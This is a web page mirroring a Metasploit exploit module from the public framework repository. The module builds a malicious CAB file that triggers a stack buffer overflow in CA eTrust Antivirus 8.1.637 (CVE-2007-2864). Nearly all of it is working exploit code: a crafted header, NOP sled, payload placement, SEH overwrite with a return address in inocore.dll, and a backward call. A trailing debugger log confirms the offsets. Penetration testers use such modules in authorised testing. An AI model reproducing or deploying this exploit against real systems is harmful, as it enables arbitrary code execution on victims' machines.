Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/ca_cab.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::FILEFORMAT
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA Antivirus Engine CAB Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
18
By creating a specially crafted CAB file, an attacker may be able
19
to execute arbitrary code.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'MC' ],
23
'References' => [
24
[ 'CVE', '2007-2864' ],
25
[ 'OSVDB', '35245'],
26
[ 'BID', '24330' ],
27
[ 'ZDI', '07-035' ],
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
'DisablePayloadHandler' => true,
32
},
33
'Payload' => {
34
'Space' => 250,
35
'BadChars' => "\x00",
36
'StackAdjustment' => -3500,
37
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
38
},
39
'Platform' => 'win',
40
'Targets' => [
41
[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
42
],
43
'Privileged' => false,
44
'DisclosureDate' => '2007-06-05',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),
57
]
58
)
59
end
60
61
def exploit
62
cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
63
cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
64
cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
65
cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"
66
67
sploit = make_nops(268 - payload.encoded.length) + payload.encoded
68
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
69
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
70
sploit << make_nops(800)
71
72
cab = cab_header + sploit
73
74
print_status("Creating '#{datastore['FILENAME']}' file ...")
75
76
file_create(cab)
77
end
78
end
79
80
=begin
81
0:001> !exchain
82
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
83
00cdf2fc: 316a4130
84
Invalid exception stack at 6a413969
85
0:001> !pattern_offset 1024 0x6a413969
86
[Byakugan] Control of 0x6a413969 at offset 268.
87
0:001> !pattern_offset 1024 0x316a4130
88
[Byakugan] Control of 0x316a4130 at offset 272.
89
0:001> u 0x6dc886ea L3
90
INOCORE!QSIInitQSysInfo+0x278a:
91
6dc886ea 5f pop edi
92
6dc886eb 5e pop esi
93
6dc886ec c3 ret
94
=end
95
96